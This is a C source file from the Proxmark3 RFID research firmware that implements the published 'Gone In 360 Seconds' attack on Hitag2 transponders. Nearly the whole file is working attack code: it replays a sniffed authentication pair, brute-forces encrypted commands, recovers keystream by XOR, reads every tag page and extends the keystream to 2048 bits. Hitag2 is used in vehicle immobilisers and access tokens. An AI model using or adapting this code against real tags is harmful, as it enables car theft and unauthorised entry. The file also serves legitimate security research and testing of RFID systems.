text
[RRG-proxmark3.git] / armsrc / hitag2crack.c
bloba79c166d67043e40a65caaeeb11fbf58eb6efc40
1 //-----------------------------------------------------------------------------
2 // Kevin Sheldrake <kev@headhacking.com>, Aug 2018
3 //
4 // This code is licensed to you under the terms of the GNU GPL, version 2 or,
5 // at your option, any later version. See the LICENSE.txt file for the text of
6 // the license.
7 //
8 // iceman, Jan, 2020
9 // doegox, Jan, 2020
10 //-----------------------------------------------------------------------------
11 // hitag2 attack functions
12 //-----------------------------------------------------------------------------
14 #include "hitag2_crypto.h"
15 #include "hitag2crack.h"
17 #define READP0CMD "1100000111"
18 #define ERROR_RESPONSE "F402889C"
20 static const uint8_t Hitag2Sync[5];
21 static bool CryptoActive;
22 static Hitag_State Hitag_Crypto_State;
24 // hitag2_crack implements the first crack algorithm described in the paper,
25 // Gone In 360 Seconds by Verdult, Garcia and Balasch.
26 // response is a multi-line text response containing the 8 pages of the
27 // cracked tag;
28 // nrarhex is a string containing hex representations of the 32 bit nR and aR
29 // values (separated by a space) snooped using SNIFF-PWM.
30 bool hitag2_crack(uint8_t *response, uint8_t *nrarhex) {
31 uint8_t uidhex[9];
32 uint8_t uid[32];
33 uint8_t nrar[64];
34 uint8_t e_firstcmd[10];
35 // uint8_t e_page0cmd[10];
36 uint8_t keybits[42];
37 uint8_t pagehex[9];
38 uint8_t temp[20];
39 int i;
40 uint8_t *spaceptr = NULL;
42 // get uid as hexstring
43 if (!hitag2_get_uid(uidhex)) {
44 UserMessage("Cannot get UID\r\n");
45 return false;
48 // convert uid hexstring to binarray
49 hextobinarray(uid, uidhex);
51 // convert nR and aR hexstrings to binarray
52 spaceptr = strchr(nrarhex, ' ');
53 if (!spaceptr) {
54 UserMessage("Please supply a valid nR aR pair\r\n");
55 return false;
57 *spaceptr = 0x00;
59 if (hextobinarray(nrar, nrarhex) != 32) {
60 UserMessage("nR is not 32 bits long\r\n");
61 return false;
64 if (hextobinarray(nrar + 32, spaceptr + 1) != 32) {
65 UserMessage("aR is not 32 bits long\r\n");
66 return false;
69 // find a valid encrypted command
70 if (!hitag2crack_find_valid_e_cmd(e_firstcmd, nrar)) {
71 UserMessage("Cannot find a valid encrypted command\r\n");
72 return false;
75 // find the 'read page 0' command and recover key stream
76 if (!hitag2crack_find_e_page0_cmd(keybits, e_firstcmd, nrar, uid)) {
77 UserMessage("Cannot find encrypted 'read page0' command\r\n");
78 return false;
81 // empty the response string
82 response[0] = 0x00;
84 // read all pages using key stream
85 for (i = 0; i < 8; i++) {
86 if (hitag2crack_read_page(pagehex, i, nrar, keybits)) {
87 sprintf(temp, "%1d: %s\r\n", i, pagehex);
88 } else {
89 sprintf(temp, "%1d:\r\n", i);
91 // add page string to response
92 strcat(response, temp);
95 return true;
98 // hitag2crack_find_valid_e_cmd repeatedly replays the auth protocol each
99 // with a different sequential encrypted command value in order to find one
100 // that returns a valid response.
101 // e_cmd is the returned binarray of the valid encrypted command;
102 // nrar is the binarray of the 64 bit nR aR pair.
103 bool hitag2crack_find_valid_e_cmd(uint8_t e_cmd[], uint8_t nrar[]) {
104 uint8_t guess[10];
105 uint8_t responsestr[9];
107 // UserMessage("Finding valid encrypted command:");
108 // we're going to hold bits 5, 7, 8 and 9 and brute force the rest
109 // e.g. x x x x x 0 x 0 0 0
110 for (uint8_t a = 0; a < 2; a++) {
111 for (uint8_t b = 0; b < 2; b++) {
112 for (uint8_t c = 0; c < 2; c++) {
113 for (uint8_t d = 0; d < 2; d++) {
114 for (uint8_t e = 0; e < 2; e++) {
115 for (uint8_t g = 0; g < 2; g++) {
116 // build binarray
117 guess[0] = a;
118 guess[1] = b;
119 guess[2] = c;
120 guess[3] = d;
121 guess[4] = e;
122 guess[5] = 0;
123 guess[6] = g;
124 guess[7] = 0;
125 guess[8] = 0;
126 guess[9] = 0;
128 // send guess
129 if (hitag2crack_send_e_cmd(responsestr, nrar, guess, 10)) {
130 // check if it was valid
131 if (strcmp(responsestr, ERROR_RESPONSE) != 0) {
132 // return the guess as the encrypted command
133 memcpy(e_cmd, guess, 10);
134 return true;
136 } else {
137 #ifdef RFIDLER_DEBUG
138 UserMessage("hitag2crack_find_valid_e_cmd:\r\n hitag2crack_send_e_cmd failed\r\n");
139 #endif
141 UserMessage(".");
148 // UserMessage("hitag2crack_find_valid_e_cmd:\r\n no valid encrypted command found\r\n");
149 return false;
152 // hitag2crack_find_e_page0_cmd tries all bit-flipped combinations of the
153 // valid encrypted command and tests the results by attempting an extended
154 // command version of the command to see if that produces a valid response.
155 // keybits is the returned binarray of the recovered key stream;
156 // e_page0cmd is the returned binarray of the encrypted 'read page 0' command;
157 // e_firstcmd is the binarray of the first valid encrypted command found;
158 // nrar is the binarray of the 64 bit nR aR pair;
159 // uid is the binarray of the 32 bit UID.
160 bool hitag2crack_find_e_page0_cmd(uint8_t keybits[], uint8_t e_firstcmd[], uint8_t nrar[], uint8_t uid[]) {
161 uint8_t a, b, c, d;
162 uint8_t guess[10];
163 uint8_t responsestr[9];
164 uint8_t e_uid[32];
166 UserMessage("Finding 'read page 0' command:");
167 // we're going to brute the missing 4 bits of the valid encrypted command
168 for (a = 0; a < 2; a++) {
169 for (b = 0; b < 2; b++) {
170 for (c = 0; c < 2; c++) {
171 for (d = 0; d < 2; d++) {
172 // create our guess by bit flipping the pattern of bits
173 // representing the inverted bit and the 3 page bits
174 // in both the non-inverted and inverted parts of the
175 // encrypted command.
176 memcpy(guess, e_firstcmd, 10);
177 if (a) {
178 guess[5] = !guess[5];
179 guess[0] = !guess[0];
181 if (b) {
182 guess[7] = !guess[7];
183 guess[2] = !guess[2];
185 if (c) {
186 guess[8] = !guess[8];
187 guess[3] = !guess[3];
189 if (d) {
190 guess[9] = !guess[9];
191 guess[4] = !guess[4];
194 // try the guess
195 if (hitag2crack_send_e_cmd(responsestr, nrar, guess, 10)) {
196 // check if it was valid
197 if (strcmp(responsestr, ERROR_RESPONSE) != 0) {
198 // convert response to binarray
199 hextobinarray(e_uid, responsestr);
200 // test if the guess was 'read page 0' command
201 if (hitag2crack_test_e_p0cmd(keybits, nrar, guess, uid, e_uid)) {
203 return true;
205 } else {
206 #ifdef RFIDLER_DEBUG
207 UserMessage("hitag2crack_find_e_page0_cmd:\r\n hitag2crack_send_e_cmd returned ERROR_RESPONSE\r\n");
208 #endif
210 } else {
211 #ifdef RFIDLER_DEBUG
212 UserMessage("hitag2crack_find_e_page0_cmd:\r\n hitag2crack_send_e_cmd failed\r\n");
213 #endif
215 UserMessage(".");
220 UserMessage("hitag2crack_find_e_page0_cmd:\r\n could not find encrypted 'read page 0' command\r\n");
221 return false;
224 // hitag2crack_test_e_p0cmd XORs the message (command + response) with the
225 // encrypted version to retrieve the key stream. It then uses this key stream
226 // to encrypt an extended version of the READP0CMD and tests if the response
227 // is valid.
228 // keybits is the returned binarray of the key stream;
229 // nrar is the 64 bit binarray of nR aR pair;
230 // e_cmd is the binarray of the encrypted command;
231 // uid is the binarray of the card UID;
232 // e_uid is the binarray of the encrypted version of the UID.
233 bool hitag2crack_test_e_p0cmd(uint8_t *keybits, uint8_t *nrar, uint8_t *e_cmd, uint8_t *uid, uint8_t *e_uid) {
234 uint8_t cipherbits[42];
235 uint8_t plainbits[42];
236 uint8_t ext_cmd[40];
237 uint8_t e_ext_cmd[40];
238 uint8_t responsestr[9];
239 int i;
241 // copy encrypted cmd to cipherbits
242 memcpy(cipherbits, e_cmd, 10);
244 // copy encrypted uid to cipherbits
245 memcpy(cipherbits + 10, e_uid, 32);
247 // copy cmd to plainbits
248 binstringtobinarray(plainbits, READP0CMD);
250 // copy uid to plainbits
251 memcpy(plainbits + 10, uid, 32);
253 // xor the plainbits with the cipherbits to get keybits
254 hitag2crack_xor(keybits, plainbits, cipherbits, 42);
256 // create extended cmd -> 4 * READP0CMD = 40 bits
257 for (i = 0; i < 4; i++) {
258 binstringtobinarray(ext_cmd + (i * 10), READP0CMD);
261 // xor extended cmd with keybits
262 hitag2crack_xor(e_ext_cmd, ext_cmd, keybits, 40);
264 // send extended encrypted cmd
265 if (hitag2crack_send_e_cmd(responsestr, nrar, e_ext_cmd, 40)) {
266 // test if it was valid
267 if (strcmp(responsestr, ERROR_RESPONSE) != 0) {
268 return true;
270 } else {
271 #ifdef RFIDLER_DEBUG
272 UserMessage("hitag2crack_test_e_p0cmd:\r\n hitag2crack_send_e_cmd failed\r\n");
273 #endif
276 return false;
280 // hitag2crack_xor XORs the source with the pad to produce the target.
281 // source, target and pad are binarrays of length len.
282 void hitag2crack_xor(uint8_t *target, uint8_t *source, uint8_t *pad, unsigned int len) {
284 for (int i = 0; i < len; i++) {
285 target[i] = source[i] ^ pad[i];
289 // hitag2crack_read_page uses the supplied key stream and nrar pair to read the
290 // given page, returning the response as a hexstring.
291 // responsestr is the returned hexstring;
292 // pagenum is the page number to read;
293 // nrar is the 64 bit binarray of the nR aR pair;
294 // keybits is the binarray of the key stream.
295 bool hitag2crack_read_page(uint8_t *responsestr, uint8_t pagenum, uint8_t *nrar, uint8_t *keybits) {
296 uint8_t cmd[10];
297 uint8_t e_cmd[10];
298 uint8_t e_responsestr[9];
299 uint8_t e_response[32];
300 uint8_t response[32];
302 if (pagenum > 7) {
303 UserMessage("hitag2crack_read_page:\r\n invalid pagenum\r\n");
304 return false;
307 // create cmd
308 binstringtobinarray(cmd, READP0CMD);
309 if (pagenum & 0x1) {
310 cmd[9] = !cmd[9];
311 cmd[4] = !cmd[4];
313 if (pagenum & 0x2) {
314 cmd[8] = !cmd[8];
315 cmd[3] = !cmd[3];
317 if (pagenum & 0x4) {
318 cmd[7] = !cmd[7];
319 cmd[2] = !cmd[2];
322 // encrypt command
323 hitag2crack_xor(e_cmd, cmd, keybits, 10);
325 // send encrypted command
326 if (hitag2crack_send_e_cmd(e_responsestr, nrar, e_cmd, 10)) {
327 // check if it is valid
328 if (strcmp(e_responsestr, ERROR_RESPONSE) != 0) {
329 // convert to binarray
330 hextobinarray(e_response, e_responsestr);
331 // decrypt response
332 hitag2crack_xor(response, e_response, keybits + 10, 32);
333 // convert to hexstring
334 binarraytohex(responsestr, response, 32);
335 return true;
336 } else {
337 UserMessage("hitag2crack_read_page:\r\n hitag2crack_send_e_cmd returned ERROR_RESPONSE\r\n");
339 } else {
340 UserMessage("hitag2crack_read_page:\r\n hitag2crack_send_e_cmd failed\r\n");
343 return false;
346 // hitag2crack_send_e_cmd replays the auth and sends the given encrypted
347 // command.
348 // responsestr is the hexstring of the response to the command;
349 // nrar is the 64 bit binarray of the nR aR pair;
350 // cmd is the binarray of the encrypted command to send;
351 // len is the length of the encrypted command.
352 bool hitag2crack_send_e_cmd(uint8_t *responsestr, uint8_t *nrar, uint8_t *cmd, int len) {
353 // uint8_t tmp[37];
354 uint8_t uid[9];
355 uint8_t e_page3str[9];
357 // get the UID
358 if (!hitag2_get_uid(uid)) {
359 UserMessage("hitag2crack_send_e_cmd:\r\n cannot get UID\r\n");
360 return false;
363 // START_AUTH kills active crypto session
364 CryptoActive = false;
366 // get the UID again
367 if (!hitag2_get_uid(uid)) {
368 UserMessage("hitag2crack_send_e_cmd:\r\n cannot get UID (2nd time)\r\n");
369 return false;
372 // send nrar and receive (useless) encrypted page 3 value
373 if (!hitag2crack_tx_rx(e_page3str, nrar, 64, RWD_STATE_WAKING, false)) {
374 UserMessage("hitag2crack_send_e_cmd:\r\n tx/rx nrar failed\r\n");
375 return false;
378 // send encrypted command
379 if (!hitag2crack_tx_rx(responsestr, cmd, len, RWD_STATE_WAKING, false)) {
380 #ifdef RFIDLER_DEBUG
381 UserMessage("hitag2crack_send_e_cmd:\r\n tx/rx cmd failed\r\n");
382 #endif
383 return false;
386 return true;
389 // hitag2crack_tx_rx transmits a message and receives a response.
390 // responsestr is the hexstring of the response;
391 // msg is the binarray of the message to send;
392 // state is the RWD state;
393 // reset indicates whether to reset RWD state after.
394 bool hitag2crack_tx_rx(uint8_t *responsestr, uint8_t *msg, int len, int state, bool reset) {
395 uint8_t tmp[37];
396 int ret = 0;
398 // START_AUTH kills active crypto session
399 CryptoActive = false;
401 if (!rwd_send(msg, len, reset, BLOCK, state, RFIDlerConfig.FrameClock, 0, RFIDlerConfig.RWD_Wait_Switch_RX_TX, RFIDlerConfig.RWD_Zero_Period, RFIDlerConfig.RWD_One_Period, RFIDlerConfig.RWD_Gap_Period, RFIDlerConfig.RWD_Wait_Switch_TX_RX)) {
402 UserMessage("hitag2crack_tx_rx: rwd_send failed\r\n");
403 return false;
406 // skip 1/2 bit to synchronise manchester
407 HW_Skip_Bits = 1;
408 ret = read_ask_data(RFIDlerConfig.FrameClock, RFIDlerConfig.DataRate, tmp, 37, RFIDlerConfig.Sync, RFIDlerConfig.SyncBits, RFIDlerConfig.Timeout, ONESHOT_READ, BINARY);
410 // check if response was a valid length (5 sync bits + 32 bits response)
411 if (ret == 37) {
412 // check sync bits
413 if (memcmp(tmp, Hitag2Sync, 5) != 0) {
414 UserMessage("hitag2crack_tx_rx: no sync\r\n");
415 return false;
418 // convert response to hexstring
419 binarraytohex(responsestr, tmp + 5, 32);
420 return true;
421 } else {
422 #ifdef RFIDLER_DEBUG
423 UserMessage("hitag2crack_tx_rx: wrong rx len\r\n");
424 #endif
425 return false;
427 return false;
431 bool hitag2crack_rng_init(uint8_t *response, uint8_t *input) {
432 uint64_t sharedkey;
433 uint32_t serialnum;
434 uint32_t initvector;
435 uint8_t *spaceptr;
436 uint8_t *dataptr;
438 // extract vals from input
439 dataptr = input;
440 spaceptr = strchr(dataptr, ' ');
441 if (!spaceptr) {
442 UserMessage("/r/nformat is 'sharedkey UID nR' in hex\r\n");
443 return false;
446 *spaceptr = 0x00;
448 if (strlen(dataptr) != 12) {
449 UserMessage("/r/nsharedkey should be 48 bits long (12 hexchars)\r\n");
450 return false;
453 sharedkey = rev64(hexreversetoulonglong(dataptr));
455 dataptr = spaceptr + 1;
456 spaceptr = strchr(dataptr, ' ');
457 if (!spaceptr) {
458 UserMessage("/r/nno UID\r\n");
459 return false;
462 *spaceptr = 0x00;
463 if (strlen(dataptr) != 8) {
464 UserMessage("/r/nUID should be 32 bits long (8 hexchars)\r\n");
465 return false;
468 serialnum = rev32(hexreversetoulong(dataptr));
470 dataptr = spaceptr + 1;
472 if (strlen(dataptr) != 8) {
473 UserMessage("/r/nnR should be 32 bits long (8 hexchars)\r\n");
474 return false;
477 initvector = rev32(hexreversetoulong(dataptr));
479 // start up crypto engine
480 hitag2_init(&Hitag_Crypto_State, sharedkey, serialnum, initvector);
482 strcpy(response, "Success\r\n");
484 return true;
487 bool hitag2crack_decrypt_hex(uint8_t *response, uint8_t *hex) {
488 uint8_t bin[32];
489 uint8_t binhex[9];
490 uint8_t binstr[33];
491 uint32_t binulong;
493 if (strlen(hex) != 8) {
494 UserMessage("/r/nhex must be 32bits (8 hex chars)\r\n");
495 return false;
498 binulong = hextoulong(hex);
500 ulongtobinarray(bin, hitag2_crypt(binulong, 32), 32);
501 binarraytobinstring(binstr, bin, 32);
502 binarraytohex(binhex, bin, 32);
503 // UserMessage("ar = %s\r\n", binstr);
504 // UserMessage("arhex = %s\r\n", binhex);
506 strcpy(response, binhex);
507 return true;
510 bool hitag2crack_decrypt_bin(uint8_t *response, uint8_t *e_binstr) {
511 uint8_t bin[32];
512 uint8_t e_bin[32];
513 uint8_t binstr[33];
514 uint32_t binulong;
515 int len;
517 len = strlen(e_binstr);
518 if (len > 32) {
519 UserMessage("\r\nbinary string must be <= 32 bits\r\n");
520 return false;
523 binstringtobinarray(e_bin, e_binstr);
524 binulong = binarraytoulong(e_bin, len);
526 ulongtobinarray(bin, hitag2_crypt(binulong, len), len);
527 binarraytobinstring(binstr, bin, len);
528 strcpy(response, binstr);
529 return true;
532 bool hitag2crack_encrypt_hex(uint8_t *response, uint8_t *hex) {
533 // XOR pad so encrypt == decrypt :)
534 return hitag2crack_decrypt_hex(response, hex);
537 bool hitag2crack_encrypt_bin(uint8_t *response, uint8_t *e_binstr) {
538 return hitag2crack_decrypt_bin(response, e_binstr);
541 // hitag2_keystream uses the first crack algorithm described in the paper,
542 // Gone In 360 Seconds by Verdult, Garcia and Balasch, to retrieve 2048 bits
543 // of keystream.
544 // response is a multi-line text response containing the hex of the keystream;
545 // nrarhex is a string containing hex representations of the 32 bit nR and aR
546 // values (separated by a space) snooped using SNIFF-PWM.
547 bool hitag2_keystream(uint8_t *response, uint8_t *nrarhex) {
548 uint8_t uidhex[9];
549 uint8_t uid[32];
550 uint8_t nrar[64];
551 uint8_t e_firstcmd[10];
552 // uint8_t e_page0cmd[10];
553 // uint8_t keybits[2080];
554 uint8_t *keybits = DataBuff;
555 uint8_t keybitshex[67];
556 int kslen;
557 int ksoffset;
558 // uint8_t pagehex[9];
559 // uint8_t temp[20];
560 int i;
561 uint8_t *spaceptr = NULL;
564 keybits = malloc(2080);
565 if (!keybits) {
566 UserMessage("cannot malloc keybits\r\n");
567 return false;
571 // get uid as hexstring
572 if (!hitag2_get_uid(uidhex)) {
573 UserMessage("Cannot get UID\r\n");
574 return false;
577 // convert uid hexstring to binarray
578 hextobinarray(uid, uidhex);
580 // convert nR and aR hexstrings to binarray
581 spaceptr = strchr(nrarhex, ' ');
582 if (!spaceptr) {
583 UserMessage("Please supply a valid nR aR pair\r\n");
584 return false;
586 *spaceptr = 0x00;
588 if (hextobinarray(nrar, nrarhex) != 32) {
589 UserMessage("nR is not 32 bits long\r\n");
590 return false;
593 if (hextobinarray(nrar + 32, spaceptr + 1) != 32) {
594 UserMessage("aR is not 32 bits long\r\n");
595 return false;
598 // find a valid encrypted command
599 if (!hitag2crack_find_valid_e_cmd(e_firstcmd, nrar)) {
600 UserMessage("Cannot find a valid encrypted command\r\n");
601 return false;
604 // find the 'read page 0' command and recover key stream
605 if (!hitag2crack_find_e_page0_cmd(keybits, e_firstcmd, nrar, uid)) {
606 UserMessage("Cannot find encrypted 'read page0' command\r\n");
607 return false;
610 // using the 40 bits of keystream in keybits, sending commands with ever
611 // increasing lengths to acquire 2048 bits of key stream.
612 kslen = 40;
614 while (kslen < 2048) {
615 ksoffset = 0;
616 if (!hitag2crack_send_auth(nrar)) {
617 UserMessage("hitag2crack_send_auth failed\r\n");
618 return false;
620 // while we have at least 52 bits of keystream, consume it with
621 // extended read page 0 commands. 52 = 10 (min command len) +
622 // 32 (response) + 10 (min command len we'll send)
623 while ((kslen - ksoffset) >= 52) {
624 // consume the keystream, updating ksoffset as we go
625 if (!hitag2crack_consume_keystream(keybits, kslen, &ksoffset, nrar)) {
626 UserMessage("hitag2crack_consume_keystream failed\r\n");
627 return false;
630 // send an extended command to retrieve more keystream, updating kslen
631 // as we go
632 if (!hitag2crack_extend_keystream(keybits, &kslen, ksoffset, nrar, uid)) {
633 UserMessage("hitag2crack_extend_keystream failed\r\n");
634 return false;
636 UserMessage("Recovered %d bits of keystream\r\n", kslen);
640 for (i = 0; i < 2048; i += 256) {
641 binarraytohex(keybitshex, keybits + i, 256);
642 UserMessage("%s\r\n", keybitshex);
645 response[0] = 0x00;
647 return true;
650 // hitag2crack_send_auth replays the auth and returns.
651 // nrar is the 64 bit binarray of the nR aR pair;
652 bool hitag2crack_send_auth(uint8_t *nrar) {
653 uint8_t uid[9];
654 uint8_t e_page3str[9];
656 // get the UID
657 if (!hitag2_get_uid(uid)) {
658 UserMessage("hitag2crack_send_auth:\r\n cannot get UID\r\n");
659 return false;
662 // START_AUTH kills active crypto session
663 CryptoActive = false;
665 // get the UID again
666 if (!hitag2_get_uid(uid)) {
667 UserMessage("hitag2crack_send_auth:\r\n cannot get UID (2nd time)\r\n");
668 return false;
671 // send nrar and receive (useless) encrypted page 3 value
672 if (!hitag2crack_tx_rx(e_page3str, nrar, 64, RWD_STATE_WAKING, false)) {
673 UserMessage("hitag2crack_send_auth:\r\n tx/rx nrar failed\r\n");
674 return false;
676 return true;
679 // hitag2crack_consume_keystream sends an extended command (up to 510 bits in
680 // length) to consume keystream.
681 // keybits is the binarray of keystream bits;
682 // kslen is the length of keystream;
683 // ksoffset is a pointer to the current keystream offset (updated by this fn);
684 // nrar is the 64 bit binarray of the nR aR pair.
685 bool hitag2crack_consume_keystream(uint8_t *keybits, int kslen, int *ksoffset, uint8_t *nrar) {
686 int conlen;
687 int numcmds;
688 int i;
689 uint8_t ext_cmd[510];
690 uint8_t e_ext_cmd[510];
691 uint8_t responsestr[9];
693 // calculate the length of keybits to consume with the extended command.
694 // 42 = 32 bit response + 10 bit command reserved for next command. conlen
695 // cannot be longer than 510 bits to fit into the small RWD buffer.
696 conlen = kslen - *ksoffset - 42;
697 if (conlen < 10) {
698 UserMessage("hitag2crack_consume_keystream:\r\n conlen < 10\r\n");
699 return false;
702 // sanitise conlen
703 if (conlen > 510) {
704 conlen = 510;
707 // calculate how many repeated commands to send in this extended command.
708 numcmds = conlen / 10;
710 // build extended command
711 for (i = 0; i < numcmds; i++) {
712 binstringtobinarray(ext_cmd + (i * 10), READP0CMD);
715 // xor extended cmd with keybits
716 hitag2crack_xor(e_ext_cmd, ext_cmd, keybits + *ksoffset, numcmds * 10);
718 // send encrypted command
719 if (!hitag2crack_tx_rx(responsestr, e_ext_cmd, numcmds * 10, RWD_STATE_WAKING, false)) {
720 UserMessage("hitag2crack_consume_keystream:\r\n tx/rx cmd failed\r\n");
721 return false;
724 // test response
725 if (strcmp(responsestr, ERROR_RESPONSE) == 0) {
726 UserMessage("hitag2crack_consume_keystream:\r\n got error response from card\r\n");
727 return false;
730 // dont bother decrypting the response - we already know the keybits
732 // update ksoffset with command length and response
733 *ksoffset += (numcmds * 10) + 32;
736 // hitag2crack_extend_keystream sends an extended command to retrieve more keybits.
737 // keybits is the binarray of the keystream bits;
738 // kslen is a pointer to the current keybits length;
739 // ksoffset is the offset into the keybits array;
740 // nrar is the 64 bit binarray of the nR aR pair;
741 // uid is the 32 bit binarray of the UID.
742 bool hitag2crack_extend_keystream(uint8_t *keybits, int *kslen, int ksoffset, uint8_t *nrar, uint8_t *uid) {
743 int cmdlen;
744 int numcmds;
745 uint8_t ext_cmd[510];
746 uint8_t e_ext_cmd[510];
747 uint8_t responsestr[9];
748 uint8_t e_response[32];
749 int i;
751 // calc number of command iterations to send
752 cmdlen = *kslen - ksoffset;
753 if (cmdlen < 10) {
754 UserMessage("hitag2crack_extend_keystream:\r\n cmdlen < 10\r\n");
755 return false;
758 numcmds = cmdlen / 10;
760 // build extended command
761 for (i = 0; i < numcmds; i++) {
762 binstringtobinarray(ext_cmd + (i * 10), READP0CMD);
765 // xor extended cmd with keybits
766 hitag2crack_xor(e_ext_cmd, ext_cmd, keybits + ksoffset, numcmds * 10);
768 // send extended encrypted cmd
769 if (!hitag2crack_tx_rx(responsestr, e_ext_cmd, numcmds * 10, RWD_STATE_WAKING, false)) {
770 UserMessage("hitag2crack_extend_keystream:\r\n tx/rx cmd failed\r\n");
771 return false;
774 // test response
775 if (strcmp(responsestr, ERROR_RESPONSE) == 0) {
776 UserMessage("hitag2crack_extend_keystream:\r\n got error response from card\r\n");
777 return false;
780 // convert response to binarray
781 hextobinarray(e_response, responsestr);
783 // recover keystream from encrypted response
784 hitag2crack_xor(keybits + ksoffset + (numcmds * 10), e_response, uid, 32);
786 // update kslen
787 *kslen = ksoffset + (numcmds * 10) + 32;
789 return true;
793 bool hitag2_reader(uint8_t *response, uint8_t *key, bool interactive) {
794 uint8_t tmp[9];
795 int i;
797 response[0] = '\0';
798 // auth to tag
799 if (hitag2_crypto_auth(tmp, key)) {
800 // read tag, one page at a time
801 for (i = 0; i <= 7; ++i) {
802 if (!read_tag(tmp, i, i)) {
803 // if read fails, it could be because of auth,
804 // so try to reauth
805 if (!hitag2_crypto_auth(tmp, key)) {
806 // if we can't reauth, it's a real failure
807 return false;
809 // temp failure (probably due to page protections)
810 strcpy(tmp, "XXXXXXXX");
812 // page contents are in tmp
813 strcat(response, tmp);
816 if (interactive) {
817 tmp[8] = '\0';
818 for (i = 0; i <= 7 ; ++i) {
819 UserMessageNum("%d: ", i);
820 memcpy(tmp, response + (i * 8), 8);
821 UserMessage("%s\r\n", tmp);
823 UserMessage("%s", "\r\n");
824 } else {
825 hitag2_nvm_store_tag(response);
827 return true;
828 } else {
829 return false;